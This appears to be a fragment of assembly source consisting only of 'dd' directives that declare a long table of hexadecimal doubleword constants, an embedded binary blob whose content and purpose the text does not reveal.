		dd 161F2000h, 0C9F96005h, 0E0B90067h, 75B16D56h, 0D000927h
		dd 2E0804A1h, 5FEA6Eh, 6ACED0D3h, 67CD3BE9h, 0E04EA296h
		dd 4C57C3FEh, 778AFE76h, 0FD6D06DCh, 2509840Fh,	4B1BF695h
		dd 5E70D901h, 0F8A56057h, 3EC05850h, 0BF1E6760h, 1297CC64h
		dd 0E2C92B35h, 0F2DB00A7h, 0CFD985Eh, 0A3C0006Dh, 0FF58A4B4h
		dd 5A013134h, 83FEB866h, 50C8F281h, 88564AA8h, 7802FB28h
		dd 0BF3652E5h, 4CA07B0Eh
		dd 64F6BC3Eh, 0EF85033h, 77CEBF4Dh, 0C73060EFh,	3748A280h
		dd 0E141238h, 8C87DBB8h, 48589097h, 5A00A2A6h, 0BB669C29h
		dd 0B75F2123h, 0E901F15Ch, 49FFB401h, 0E3810285h, 19820E0Fh
		dd 99A0F9C3h, 854BFFF7h, 0E9FC5C48h, 0A20D2967h, 0F12C6Ch
		dd 691D8476h, 8F4953D5h, 0AB18C00h, 0D9587B65h,	890F2950h
		dd 1ADC81BCh, 0B962E95Bh, 0F082005Eh, 0FDD274F3h, 6CE03DDh
		dd 0C27B565Eh, 62993DC0h, 2D97605h, 0D7807C96h,	0EF7F1Ah
		dd 0D5B71054h, 56596606h, 70160301h, 76CC8850h,	0C4B87D0h
		dd 6FEAEDFBh, 0CE164020h, 7F1C7075h, 0A01A21F3h, 0D873A3D0h
		dd 1444AA11h, 9D2CF93Dh, 8B3F14Fh, 3721006Dh, 0CC0C4407h
		dd 0C600820Bh, 0ECD58C9Bh, 3012DB94h, 0B4A0788Ah, 9C6059C5h
		dd 1D873AB8h, 40536798h, 88D91170h, 6FF3CC2Eh, 0C3D17419h
		dd 21964508h, 17120716h, 0A946F6D5h, 0B8855300h, 9DBB1C1Fh
		dd 0E01506FDh, 2ED3BAC9h, 28035873h, 99DE780Bh,	10E00361h
		dd 7E8632D9h, 352A903Eh, 0ED02615Eh, 85B1967Bh,	7D827794h
		dd 0C9C680F4h, 18AF7021h, 3875DA12h, 0BB0EB0C0h, 20D31973h
		dd 0DB060284h, 0A0EB1EC4h, 0FBF70044h, 0D4466DA5h, 392E1D58h
		dd 817C009Eh, 0DEC76194h, 0DB515C49h, 25F50400h, 0BC0AD15Fh
		dd 230069E0h, 60FF2B74h, 0E022686h, 2E95C6E6h, 0FAD7D860h
		dd 91008CD1h, 3DDDA84Eh, 45713AFh, 83270F7Fh, 0BC8EC30Ah
		dd 6396EFA8h, 220EAE00h, 84AAE7E2h, 33040057h, 9008A879h
		dd 697A99F2h, 0BE2AFE1Ch, 275DCB4Fh, 7E80BAAAh,	31AB5D4h
		dd 65B68597h, 55A075A8h, 593A3335h, 0FB8AE34h, 0CFD80E1Ch
		dd 172EC41h, 6E75E6F3h,	984DBA52h, 8C21E109h, 0ABF3007Ah
		dd 63311B59h, 0B01E0399h, 69807179h, 626F297h, 4CCC1EBEh
		dd 0AF3340CBh, 2C959EB1h, 2A0E40DFh, 0C2A3A314h, 5E1103B3h
		dd 35750FE1h, 3D2E90D0h, 4508FA66h, 0E9770021h,	8EB73A0Fh
		dd 4D0CE541h, 512F4FB1h, 753D004Ch, 0BBF90DEh, 0D8C00525h
		dd 0F191AAACh, 0C8F30004h, 0BF4B4807h, 1B50D52Bh, 48C0D7Ch
		dd 75E7F373h, 22E36266h, 69437B8Dh, 57E8E1D8h, 419F860h
		dd 73C85D12h, 86E60040h, 0C9225CEDh, 830195FBh,	0C1D5CCD4h
		dd 9441F12Fh, 0A2DC0C35h, 336C0047h, 62196DABh,	0F5EAC7CCh
		dd 91E66600h, 1EF3F816h, 32F20040h, 5E3CD41h, 880ED80Ah
		dd 0E0174C8Ch, 26D33793h, 7E410019h, 8EFD6C9Dh,	0AC06579Ah
		dd 0F4BF53BBh, 86048F11h, 1053BCA7h, 9E3C0CFCh,	0C75500F6h
		dd 8F1725CDh, 63ED0005h, 82A951FBh, 0CE00EA22h,	0E6A7B3C3h
		dd 70E461h, 34219A97h, 4D7FD869h, 90CFC000h, 1479C9C3h
		dd 0AD000C8h, 0F7460DEEh, 13009F2Dh, 9AA0A87Ch,	2B9133h
		dd 0CF6EB257h, 7D823FD2h, 63DB3Bh, 6781A3Ah, 220820h, 0E8A6E9B1h
		dd 0EBE240EDh, 0FAFD7403h, 0A87AD39Bh, 0FBD96h,	886021EAh
		dd 0F203B6A2h, 20E84C19h, 0AEFC8348h, 51C00077h, 933586BEh
		dd 530082D5h, 0CD6C95E8h, 4F72A6h, 586347FFh, 61BAB38Ah
		dd 0C05368C0h, 15FE9F2h, 0B22183ABh, 822EA80Ch,	194FC358h
		dd 0EA060AEh, 17CD0F75h, 0EEE79941h, 6CB2A02Ah,	3601D2A8h
		dd 4EEFDCE8h, 0D7F8A708h, 603C00E1h, 87223E8Bh,	1639427Dh
		dd 5A7680AAh, 0F0E5FA27h, 39F6EAh, 591153E1h, 86CDEEB8h
		dd 2A437506h, 9048A48Fh, 0FDBE0ED6h, 0DD8FBA7Eh, 95EC6F6Ah
		dd 1A00B86Bh, 8921AB96h, 4E605E87h, 4CCFD748h, 0FF6D0FD4h
		dd 7363F3CBh, 5E887B23h, 7A042F83h, 542B80A6h, 8F1B1490h
		dd 8D74002Ch, 0C506591Fh, 48C0B995h, 0DF1C014Ch, 0D659C0CBh
		dd 0A1D0377Fh, 0FCDB7A00h, 7BE3FFECh, 0F42C1F94h, 3A324535h
		dd 0A5DB00A3h, 0FEA489A2h, 80631D3Dh, 362A249Bh, 0BF164Eh
		dd 0AB195666h, 0EC2298Fh, 54003872h, 6F8C241Dh,	39110C8Ah
		dd 78E0DED8h, 0B2CB4ADBh, 9D1180FFh, 82B98D0h, 77CF14C1h
		dd 0C00D86Bh, 0BC5309BAh, 840FF201h, 0A7DF4DE6h, 8B937111h
		dd 0F5BDC83Ch, 56CF03F4h, 0E92FF146h, 10A434F8h, 0A30E0500h
		dd 0D481A20h, 0C37DF9h,	93437854h, 8A4F37D6h, 0CF70F2Eh
		dd 0D5BF5E04h, 9F72B490h, 0F55306A0h, 58273E99h, 87B45A00h
		dd 0A50EBAB7h, 0BDB90E29h, 0B380C2F2h, 2A591C33h, 0EEE25C00h
		dd 0E6F16DD8h, 0F99E0054h, 2F299127h, 24003CBFh, 7226B00Eh
		dd 1FFC9C2h, 0AAD98639h, 24B26AD0h, 423CB4F0h, 0F0E307E4h
		dd 80892F40h, 16E5FEC5h, 0EABD0C69h, 82987266h,	37AF3F00h
		dd 9DB66E33h, 1C03E4C7h, 64A61177h, 0D50D0070h,	34803062h
		dd 6BF4200h, 171A6627h,	0A4AC0070h, 0BBE013F9h,	7D49BCFDh
		dd 8AFE0108h, 0A18C2FA0h, 44D65020h, 4673C58Fh,	10EA2E00h
		dd 182DA75h, 6F264CA4h,	33C2FC00h, 0B25D0215h, 5B92A850h
		dd 0E44FD100h, 3F879598h, 0E82112BCh, 0CB4443CEh, 5298C27Ah
		dd 0C3E29A65h, 906C6900h, 5D41F15Eh, 10E30767h,	0C232B4E4h
		dd 8C403930h, 0B007AA81h, 2C3443D3h, 74275200h,	1FC4E8BCh
		dd 80F14462h, 0E73D7B95h, 281C0413h, 7DC91D4Fh,	9E430122h
		dd 0FD8B320h, 71AC00E5h, 7592FE38h, 6A007BD1h, 0CBE1B12h
		dd 0E3D1687h, 2DA5560Bh, 0E4291729h, 54FAE501h,	907130A7h
		dd 48235F1Eh, 0BC40BF52h, 5CBD17F1h, 39C80001h,	0EEDDC574h
		dd 6B01FE37h, 0E6196E8Ah, 4F8B16Dh, 0F4690043h,	0FCB9AF08h
		dd 0A200F69Dh, 2985CC9Ah, 4E153h, 7560DCA8h, 7AC145F8h
		dd 3D34AFA0h, 0A6268107h, 4057F9BFh, 93B008B1h,	1D236320h
		dd 3CA2B622h, 0F34F6A00h, 0B7320744h, 0CF04Dh, 9FE57265h
		dd 603A330Ah, 40D358B8h, 0D20E4E11h, 0AEB7CB62h, 44C00C8h
		dd 60E441h, 3F266A7Fh, 50663661h, 9EB58E00h, 0F253D7D3h
		dd 892C3064h, 0B03E5219h, 8B21B400h, 0EB6CA3AAh, 0DF5A00F4h
		dd 108967E0h, 3C0E9984h, 60853BE9h, 0C01311D6h,	207659CAh
		dd 3DBD0D03h, 0B100DDEEh, 0D706A5AEh, 1F13ECA0h, 47E103F3h
		dd 0BB3440BCh, 8D4B8B80h, 7890692Ah, 9302F17Fh,	0CF1A5342h
		dd 0D0C080AEh, 545B6Dh,	0FACFA19h, 7485A350h, 8E8EBB39h
		dd 6A16D1h, 0D357211Ch,	76F7265h, 8CAF07C1h, 0DCA20014h
		dd 6B006026h, 1E392886h, 39BA325h, 0F01A3279h, 2EB85F9Eh
		dd 8700D692h, 0BFB5A1A8h, 39BE1DC6h, 4803B3E6h,	0C84C52B0h
		dd 4F80CDE8h, 0DE0E3300h, 8F8676E9h, 35BD1DD6h,	7BFC407Ah
		dd 5314EABh, 4A0368B8h,	0B285C3E5h, 0BA65805Bh,	505E078Ah
		dd 30FF58CDh, 0C9554F40h, 6FA1B00h, 0CEE9B016h,	0FC4A3F72h
		dd 8F5F6200h, 0F45B13C2h, 4194D01Fh, 6D002CA6h,	7725BA2Ch
		dd 3C0F00D1h, 98365451h, 16008402h, 0A4330342h,	792380DEh
		dd 627100D0h, 0AD894EFh, 8103BBCFh, 512E9AD7h, 8A90874Dh
		dd 1E247D97h, 80551E7Eh, 9566ED37h, 0BD1698B7h,	0F807F45Eh
		dd 792D68Bh, 0FE286886h, 0F36801C7h, 7CAA140Ch,	0EC6BD942h
		dd 0EC007AC2h, 7E3EC965h, 0EB74BE7h, 32C86481h,	0BD7DE900h
		dd 0FE3B6A87h, 0DC503EA1h, 0E6D20004h, 0F45D14AAh, 0BC8339CAh
		dd 83E88626h, 1F86F1Fh,	26A0B3C0h, 188A2A37h, 0C198A393h
		dd 1190DB94h, 89480353h, 58078092h, 317C8420h, 754005A8h
		dd 342C4042h, 0FFF7B4C6h, 19D62804h, 0E4D0F813h, 30A6F2C3h
		dd 6C3077F9h, 56F6E7C4h, 0FBE29100h, 0CF281C89h, 8DFA1FA9h
		dd 93D40045h, 3B8ED99Dh, 0BC2B9500h, 0B6A98339h, 0F8503BAAh
		dd 66973000h
		dd 71B8B7F9h, 769E9600h, 0C8F55798h, 8B9C0388h,	0CBADC16Bh
		dd 12A33690h, 48D0C600h, 8C714D76h, 964C0079h, 57E307BCh
		dd 8A07E2A0h, 0E4CDB7B8h, 0A4825380h, 0A89B00B5h, 0A54875F7h
		dd 0B000FEF1h, 0B8E8D5D8h, 1CE2CEDAh, 68E33CA4h, 0A89A1BE0h
		dd 0B7C7F185h, 33A40E1h, 0ED00BA31h, 90EFCF80h,	0CD24B23h
		dd 0BD7173C3h, 0D0070D18h, 51AE3526h, 0C3015EC3h, 0C0A1E3C9h
		dd 60A94B77h, 469A28B1h, 61C09779h, 0A844051Bh,	878402F8h
		dd 839F0371h, 56CAD480h, 0ACF8B369h, 0CBA7FA15h, 50E019D0h
		dd 0C8088F28h, 368D7914h, 53DE03BCh, 38E01C0h, 834ECF78h
		dd 0D1439DD3h, 866F181Ch, 0C0DEB419h, 0ACD2FDC0h, 98C8A451h
		dd 13C34042h, 0C0CEB96Dh, 21F0CD1Fh, 0F8885C0Ah, 0D057359Fh
		dd 0AA85D200h, 94FDD05h, 55614E87h, 0BB978CA0h,	574C930Eh
		dd 56007B8Ah, 0CAF89C3h, 31820B4Fh, 87B1EE6Ch, 74BEC05Ch
		dd 0CAAAA407h, 813ED8C4h, 4D17DD36h, 0F76C518Dh, 0CC1F4031h
		dd 83F8C2D2h, 89C8CE00h, 8DBF5653h, 0BBFF0642h,	781787C6h
		dd 3074C44h, 33D4A214h,	80DC0DFCh, 994B7190h, 0C885E9DEh
		dd 9800D38Ah, 0B1AFF31Ch, 43E5007Ch, 0A98C2D14h, 4600244Eh
		dd 0C7F80E1Fh, 0C1C6D083h, 94737179h, 0A9244280h, 1F59EF20h
		dd 0AFF9506Ch, 0C1FA606Fh, 0A23AC7DEh, 7E5DD02h, 83FB61C8h
		dd 0C599BCF0h, 25CAA020h, 0E15A180Fh, 61CC10BDh, 0C4F7E728h
		dd 41DF4910h, 93A81000h, 8456D872h, 8091703Fh, 6219514Fh
		dd 3B9FC9Eh, 0B4055A49h, 0C2B8C7D4h, 15F09B57h,	0E797A00Fh
		dd 1E378084h, 0F8B7A694h, 0FCCC0349h, 0F3287507h, 2CD2200Fh
		dd 9DC0238Ch, 38A877FDh, 590510C6h, 886A5C8h, 859F1DB4h
		dd 0DE3C4C0h, 13C51Eh, 67CDC225h, 4688AFFDh, 9A73937h
		dd 0E2215Ch, 0E0EF67F4h, 87988D73h, 0A624EEEAh,	30003874h
		dd 0A5D241E4h, 27030008h, 5994B852h, 580E223Fh,	205BA4B9h
		dd 0C520CE12h, 0F23E0097h, 5F652FF9h, 251CA7C9h, 3AC05C22h
		dd 0A2A53CD7h, 0D8A601BBh, 77D220CCh, 0DDA740FCh, 20C222AAh
		dd 610D8E25h, 204E5A1Eh, 83DBB711h, 0C45EDEDFh,	0F5228300h
		dd 0B9E9241Ah, 9FA00E0h, 28DEAECAh, 9A666A7h, 0E50B2132h
		dd 802509F2h, 306CE014h, 8945002Eh, 3543A9F4h, 0CB0FCF20h
		dd 6A66538h, 10D9E5h, 0FE7AA185h, 0C90AF612h, 0C822A4A1h
		dd 0FC0164CAh, 1ED9EE5Fh, 898E644h, 0E184210Eh,	435D6403h
		dd 0F0FD03BCh, 50AC4410h, 76DB344Bh, 41493A39h,	0F0E0A060h
		dd 613713A1h, 2050203Fh, 0C612819Eh, 8A27C50h, 1AE6C500h
		dd 101C77B8h, 92A0065h,	0B2E7EE62h, 0B700826Eh,	66A79FE1h
		dd 30F9727Dh, 9961117Fh, 7C55F425h, 0F3B3E0B4h,	83CE613Fh
		dd 92C93E89h, 0BF0830F9h, 618B5121h, 8C79C078h,	29D84B01h
		dd 525969B9h, 0F5A3CD8h, 44C4583Fh, 39C224E3h, 0AEB441C5h
		dd 20BFF7A3h, 52F8FB14h, 30DDA030h, 3E2543F9h, 0A58E92D7h
		dd 89CCABACh, 6206D228h, 5A7FA32Eh, 0A0487910h,	89119080h
		dd 0F908ADh, 0FE444221h, 0EF307E04h, 641C7501h,	84CDDAA6h
		dd 353519D0h, 3A919B26h, 13C2314h, 680A267Ch, 2CF7C0E8h
		dd 21C42B04h, 0C884110h, 0A36414A6h, 0AC3BB828h, 14843BA8h
		dd 3C21A527h, 8501FA23h, 96AEF309h, 0F8883318h,	3097BFDh
		dd 0A27BF346h, 0D389EA78h, 91A8EF51h, 0E404B6DDh, 0C457BAA3h
		dd 8E3484h, 5C03C88h, 6E755F9h,	1AA4E106h, 340381C9h, 5C9981B4h
		dd 95ACB870h, 0A3C200BBh, 0B2654EDFh, 3302A158h, 0A7B3AE24h
		dd 0CFD48046h, 0A841DF2h, 0A3BEA44h, 18F651BCh,	0FF091EF9h
		dd 0C080E9AEh, 0BE09F1E4h, 4F36A200h, 19654120h, 0A4B0A85Dh
		dd 60496425h, 0C8233FEBh, 0F2F37705h, 6C68D2C0h, 75DC0435h
		dd 8010AA0Ch, 522FF730h, 7C95B426h, 2012FC0Eh, 988B2726h
		dd 0A0F24925h, 0CC61FD80h, 448CF939h, 0F50053B6h, 0AE9E4261h
		dd 0A0593FBBh, 0C1A57D98h, 0DC874921h, 2A0EF08Eh, 10CBD0A8h
		dd 84FAB400h, 0ABF343B5h, 955C1F4Bh, 4A5842C6h,	0A4403F9Ch
		dd 65E47425h, 0A149320Ch, 85503Bh, 0AA4768ACh, 11C6DB9Fh
		dd 9BA32013h, 89FF204Eh, 0FC60B088h, 5F821164h,	800C889Eh
		dd 0F364CB8Ah, 81016E49h, 0A2392C2Fh, 80A223ABh, 0E568C4C8h
		dd 0CAD482E8h, 0C0802C24h, 0CCF2B0DAh, 45513C80h, 37911091h
		dd 42DEC40h, 47808DCBh,	520C2EAh, 502B7041h, 197AA988h
		dd 10247D30h, 51575BACh, 0A4FEA4BCh, 0FD0853CCh, 0E561F0C0h
		dd 22914639h, 88E400B5h, 6221EB61h, 80E0478Dh, 8C4C864Dh
		dd 1EA9888h, 0C9FCAF33h, 4BFE7710h, 0CE3AC8A0h,	45E27D80h
		dd 19C0DC0Ch, 9EEC7308h, 3C1B07F4h, 0F28EA5Fh, 78A54BE9h
		dd 5ED8413Eh, 0CEDAA57Ch, 0C4948882h, 19102900h, 0C40983Eh
		dd 56239D93h, 8998420h,	0CE80E091h, 0F0AFFC67h,	0E13F448Ch
		dd 0DA67F900h, 7587E8F7h, 6B4402E2h, 90358292h,	0AC1DE864h
		dd 0B203BA3h, 0CFE226DEh, 0A286C003h, 61F4BBF1h, 13ECE364h
		dd 0C0F03408h, 39F261F7h, 80C8A953h, 83618FE5h,	495171F4h
		dd 417F2096h, 6712D9A5h, 0E0BD0000h, 6F0DD194h,	1606015Ah
		dd 0F50B742Bh, 9BE570A5h, 1A4A38C9h, 0C4DC657Ch, 17CE6030h
		dd 3B9009Ch, 1808EE6Ah,	0A2122FA7h, 8015331Fh, 252C0158h
		dd 0F5BAAC2Bh, 8CF4C04Ch, 0F067F204h, 2E6250AFh, 0D8C0ED24h
		dd 2840D737h, 26ECC8F5h, 6470851Ah, 9F860FBh, 8EAE23FCh
		dd 0FF0EC911h, 2CE709F0h, 3B575B3h, 2DD5CD8h, 275D06A4h
		dd 1A350579h, 87CF857Ch, 0F207A868h, 3D69D50Eh,	791C9D24h
		dd 97382B80h, 245DD119h, 40CF21C1h, 68853391h, 23A720E3h
		dd 6822F5B8h, 4C610035h, 0D6A18B52h, 0CBFCC7D4h, 0E5D87901h
		dd 0D720C911h, 0AF3F1D4h, 0D9A65FFAh, 33465C54h, 83716h
		dd 47357CA8h, 6900522Dh, 0AB3F4CFBh, 2CFC3943h,	0F8CBC8h
		dd 24EBEAF3h, 0AE50B3A3h, 6C003EA8h, 42C60C66h,	1C7238h
		dd 9C237827h, 1BA82F95h, 40FEFA30h, 6040A22Eh, 2C958F1h
		dd 200C0E27h, 0B8FDC6D6h, 0F0058CF6h, 0E0AFF267h, 0E3B038h
		dd 3CDB67FBh, 0C4C60EB7h, 0D8B8891h, 9AC980D7h,	473DA47h
		dd 95E346F6h, 0F7208256h, 1709FC30h, 38EEAEC8h,	0F400FB7Ch
		dd 36759309h, 160CDD65h, 4DB8328Bh, 42718334h, 0F230F3F0h
		dd 4A39F261h, 0E6242C81h, 0FA618A00h, 0C7DCA0FBh, 81B9004Fh
		dd 0AD7B9114h, 250EBEB1h, 62CE01A2h, 81EDE153h,	0F2355EB4h
		dd 0D15142Ch, 3F008437h, 0B3B72109h, 1E007CC9h,	50BFF3E2h
		dd 4E86078h, 751BAFD8h,	0CA3481CEh, 0A9B0485Dh,	1F042C74h
		dd 2DD1B03Eh, 203FB492h, 62585F92h, 847C59E6h, 0D1193860h
		dd 704D23h, 0C00B3A94h,	3D5FFF27h, 9839AA33h, 35340CACh
		dd 0A410CAA2h, 42B35B18h, 696C5C0h, 9513A12Eh, 0A9EA7025h
		dd 0F7F53F18h, 94A76C38h, 0BA3A02CCh, 2C60C347h, 0B92CB3ABh
		dd 1C00F84Ch, 27CCF674h, 0C4903052h, 8B592220h,	20F1F529h
		dd 3158D8E2h, 0F2C83298h, 0E4CA308Ah, 0F5529000h, 6F532696h
		dd 94D8C2A2h, 0C0593EDDh, 0FF89F411h, 0E6AE4082h, 823DF0E7h
		dd 408509F7h, 6595C11Bh, 902FD0E8h, 0A4452230h,	402E52F8h
		dd 8716C097h, 27198018h, 0EB1EAE6h, 0B76A53FBh,	7FF89A60h
		dd 0F0CF370h, 692319E4h, 0F70A0739h, 80781DE1h,	0E4C36EBBh
		dd 5BAECA0Eh, 44C858F3h, 0FC7426D2h, 83E031DCh,	0E7FD00B7h
		dd 1B48C9CFh
		dd 3F2D0410h, 0E00C9E01h, 271A3064h, 145A1980h,	0C1D99A3Eh
		dd 35FE2E00h, 2BBB667Eh, 84F25071h, 5674AA3h, 8142D294h
		dd 9FB8FF96h, 0A09FCF10h, 18419026h, 9200C2A1h,	7001107Bh
		dd 43AFCC28h, 0C40D445h, 58B69C57h, 4B0E4094h, 0D080F450h
		dd 0B4330B5Ah, 0EAF11D00h, 0C4B2162Fh, 0A92C601Ah, 3C6554D3h
		dd 9CC0333Bh, 50404C23h, 7C210D27h, 0D8B0A8B9h,	7E821F51h
		dd 1A528EBDh, 35EAEDE0h, 0EC5C70D4h, 0B322DCh, 0AB2075A6h
		dd 9F89981Eh, 684F5401h, 0C1EC9117h, 1AD0CFF9h,	4DEB000Dh
		dd 5DB1EFAFh, 0B433014Eh, 1DF08B5h, 0AF458821h,	80FA11D7h
		dd 0CAFECB10h, 0CFC7D8h, 5BE2D35Ah, 6B41FD4Ah, 0A59F8500h
		dd 0B217658Ah, 97500839h, 130D9A49h, 88604043h,	73EF01CCh
		dd 0D1AD1172h, 0EC5981F2h, 84E1CF87h, 22363083h, 2000AE26h
		dd 0EC19C60Bh, 1F94B81h, 34CB1091h, 8001B242h, 96AD1A38h
		dd 0E94392Bh, 8C6E88B8h, 34B90878h, 8E5720C0h, 3C6BD52Bh
		dd 1E80AAFBh, 0CA946046h, 8118EF34h, 0EA583D93h, 0BFD00074h
		dd 4DFBD99Eh, 0DA0E32A9h, 619D9C68h, 0F009773Dh, 1F3AAEDCh
		dd 0C0FD152Ah, 0CA413462h, 2D073C8Bh, 9BC5B4B5h, 0D97D5D60h
		dd 24C31D8Dh, 5CD58712h, 0CAF13002h, 0FB01C756h, 5B483A27h
		dd 3CC8BA1h, 0DF51007Bh, 1B049DCDh, 6100EFF1h, 622B3E24h
		dd 1D67EDEBh, 5B22FDh, 847F208Ah, 9D1F4AAFh, 38C0B55Ch
		dd 5A014DE7h, 7661010Ah, 811E36EAh, 9493C46Ch, 0AD754F01h
		dd 24E4EDDCh, 3080FE61h, 0BF0573ECh, 7E004BE5h,	9B82F292h
		dd 4FCB38h, 0CEB965B0h,	458B25AEh, 956B2918h, 3ABDF468h
		dd 0F6038482h, 0ECE54D7Ah, 0E1A870E3h, 0C8071549h, 0E663ED9h
		dd 36EE4B00h, 3156187Fh, 63BE1942h, 0F6D72F00h,	40848BB3h
		dd 2EFCB6h, 59DC9BBDh, 0EE265D2Ah, 718860C1h, 770C929h
		dd 0C2630157h, 0CDDD1970h, 2A67E0EEh, 0E3B4E915h, 0A0C50780h
		dd 737088F1h, 7DCB2DD6h, 0A83025Bh, 0B9948764h,	0E34DC740h
		dd 4F12410Fh, 44C2E073h, 0D2A789h, 98A4E23Ch, 0D5760E7Bh
		dd 7DA8AE12h, 19670A0Eh, 21971A08h, 97C50320h, 41D12440h
		dd 3B207087h, 0D19BAA00h, 0B6C8D8A8h, 578B06F3h, 38E0D714h
		dd 8E91E603h, 0C0F57D3Eh, 0DDBE5009h, 41574051h, 46A94E2Eh
		dd 3AEE643Eh, 0AC187CDAh, 78107B94h, 13A276AEh,	0C2BB7B3h
		dd 408A7D1h, 0B5E231C5h, 50B368C0h, 13B00095h, 0C8FBA9D2h
		dd 69C0103Ch, 0A00E5DB5h, 82BA00E7h, 4106AAFDh,	7C026E5Ah
		dd 2FD7ED4Fh, 0C955C0BBh, 8C075095h, 79048CCBh,	15A8ADD5h
		dd 27202662h, 0E252D511h, 0AF8E0179h, 0C21CDB55h, 90007A1Eh
		dd 0B6962BEDh, 3040600Fh, 273D44EEh, 700170DDh,	7E2218Bh
		dd 2196B9D1h, 4A2C0063h, 0EC7DBF4Dh, 0BE20F401h, 665013E7h
		dd 1B98F880h, 5D3DE35Ah, 51ECBC48h, 62088C71h, 1FA620E7h
		dd 816CE352h, 8FDEE1CEh, 3B15DC13h, 6749B30Eh, 3E69A07Dh
		dd 7EC9285Fh, 10296084h, 1C09AAB2h, 0C01170C8h,	5D23E358h
		dd 77224C46h, 0E37B50E4h, 60674A39h, 1CFCCBC9h,	6059C0E2h
		dd 1E7ACE59h, 0E0D4C02Ah, 62AFCB00h, 0DB6533E1h, 1420E972h
		dd 3DC10224h, 7B48CD1Eh, 51460C44h, 0DDA2AF1Ch,	7D1123B3h
		dd 0A2B65500h, 6A2966C5h, 8B22C001h, 0D11557E0h, 0C95ED18Fh
		dd 0D4701AEDh, 1D54DC8Ch, 0A1643588h, 5B606570h, 0B32304A2h
		dd 3F07114Fh, 1001F1F1h, 9BC64B2Eh, 24219394h, 864032E2h
		dd 1D24A8BAh, 18642475h, 0D57A2440h, 9103C18Bh,	0F9B9BAD4h
		dd 26E4D815h, 20B44996h, 58272380h, 743CDC9h, 6100BD22h
		dd 767E27CBh, 79D3D61Bh, 0C01150C4h, 211E3F88h,	751068Ch
		dd 0DF001D79h, 2881A90Ah, 0AF57CCDh, 18A884CBh,	608C1488h
		dd 420AFF3Ah, 61F0624Ah, 8BB084h, 54C91E45h, 3009880Dh
		dd 0A939F6AAh, 7C0F28C2h, 208F4A48h, 0D27604FCh, 3E25E493h
		dd 4026BD45h, 0D9CE1F6Ch, 407F9216h, 24496BCCh,	0EBA30800h
		dd 1589DED2h, 98B0092h,	0DA8CC1A7h, 40C35AFFh, 25A88Fh
		dd 9749D2F2h, 0B3E43C15h, 0A05EF712h, 0BC23C03Ah, 0D4750201h
		dd 0E8881531h, 7D0E1F5Ch, 94F36A94h, 0C90CA42Ch, 0EA5D182Fh
		dd 0B878627Eh, 0A88162CBh, 0E24AC32Ah, 60A2E084h, 214E2739h
		dd 0FC79DC9h, 63CB2790h, 0B0744953h, 0F8DA9A30h, 5B00D043h
		dd 0FF25BB2Ch, 7BD8CE1h, 0AFDFD78Fh, 147AC5D2h,	63E898B4h
		dd 7CD6A08Ch, 0E0F90E0Ah, 92C795Eh, 893057D0h, 0A94A8976h
		dd 0ACA9C652h, 0B3744130h, 1901477Eh, 7179EB0Ch, 61C67551h
		dd 0C04082C8h, 0A8E6E7Bh, 4D6493D7h, 49A49894h,	34EAEB04h
		dd 0D6305063h, 0B4190053h, 0D7AA5707h, 437918A4h, 0CE4ADB03h
		dd 0D06E309Bh, 5AEF6C1h, 0F54EA740h, 3AC41219h,	963235Ch
		dd 9180E65Bh, 0C6A95E93h, 0A7A082EBh, 84B03CEEh, 5F60142Ch
		dd 5D2320E3h, 6C1124h, 0FE357BBh, 0E23DA73Ch, 21550E76h
		dd 9F66CAEh, 10802B38h,	4A90E099h, 0E1005CB2h, 0C816D7ADh
		dd 7526F9h, 221A3DCEh, 0B1C96BBh, 4B5FD200h, 1F54C7Bh
		dd 469700E9h, 0DB8794F0h, 0FB005865h, 0DEEE6710h, 0E63E5Eh
		dd 0B499EB05h, 0E765ECF0h, 0B3B119C1h, 89C0A855h, 5225006Fh
		dd 0F641FD09h, 0BD00AFABh, 3F2A0ABAh, 0B8A4AEF8h, 0E618C39Ah
		dd 4000E3EDh, 6BFF9558h, 72010F76h, 0F1801F91h,	0A50B03EBh
		dd 3005E1ADh, 29937525h, 0C8E06AC3h, 631222h, 0EB33F3EFh
		dd 0E46EC751h, 1FF850C0h, 20FBDBBh, 11D14552h, 89E3A4A9h
		dd 0E204917Ch, 0B4E4D79h, 0FFC0A1C1h, 0B4B53980h, 0CEF9586Ch
		dd 4319A00h, 0BA7E1D55h, 32F268h, 71CD1B60h, 26C5FD88h
		dd 18050C0h, 0C70A9D07h, 2064D1B8h, 4E91AEECh, 27D61600h
		dd 0A95CA179h, 32B4017Dh, 8AD25BAh, 1259F009h, 62FFB303h
		dd 0A0AA8A27h, 2F77B7h,	0DA1A9025h, 72C437FAh, 0D89ADC06h
		dd 8D10FD6Ch, 56187404h, 0EC1063E2h, 85E400DFh,	0FBC265CDh
		dd 5E3E6C08h, 849A01BDh, 9151C956h, 633B2888h, 919EC690h
		dd 382D219Bh, 0CEFB6422h, 90F8A82Eh, 0D9284C1h,	44FAFE44h
		dd 0C548E2E4h, 240C2142h, 7CA24092h, 755278h, 311E0B51h
		dd 0DCC388ECh, 0A506B200h, 2D4FCAFAh, 0F0AD01DBh, 0D89F3D6Eh
		dd 23DDC420h, 0AC69111Eh, 90AAD781h, 0F8DB270Fh, 0C91B24h
		dd 13742094h, 0F0602B73h, 1479500h, 2EA1D4D3h, 4D581FE1h
		dd 1F51C03Dh, 0FA1554C1h, 0BC06700h, 0ABA8CC74h, 0BC72007Fh
		dd 5871BA2Fh, 0C7001498h, 997DDAF5h, 0FA0A62h, 88010350h
		dd 8498C371h, 0B531C41Eh, 5C194EC0h, 1DA63CDBh,	40CA6668h
		dd 65AA7CDEh, 0C90A5F53h, 0E0DBF767h, 7B9A4901h, 79F052CCh
		dd 9E23Eh, 0A0030754h, 7A69C295h, 190A5500h, 0B88A7F1h
		dd 32B2079Dh, 50258496h, 0D57BC61Ah, 0CBEE800h,	0E283B13Ah
		dd 51F4075Fh, 0D040DE94h, 2EFF159h, 1CF65524h, 6AA7B203h
		dd 0E0D6B8D2h, 2FCB01A6h, 84A9F73Dh, 0B09ED0FAh, 0C9E4D80Eh
		dd 7F82A057h, 0A1FCD13h, 0B25FC081h, 0C55E0EA4h, 0BA15009Eh
		dd 61EF198Fh, 9D5A8800h, 0A7C74A82h, 57BD00FCh,	0CF624D86h
		dd 9700B70Ah, 25A9477Ch, 26E1D7D3h, 7C151Eh, 8A236F35h
		dd 0F0004B28h, 8277B45Ah, 1A2B5Fh, 0D6CE10F5h, 0C42AB2A4h
		dd 0EE7BC04h, 0CEC0F266h, 0E2DB7DFDh, 8455004Eh, 0BCA449E2h
		dd 0DD007E15h, 24586906h, 3AC7E1h, 1F0A8F1Ah, 0E02A345Ah
		dd 253BB1Dh, 704B420Bh
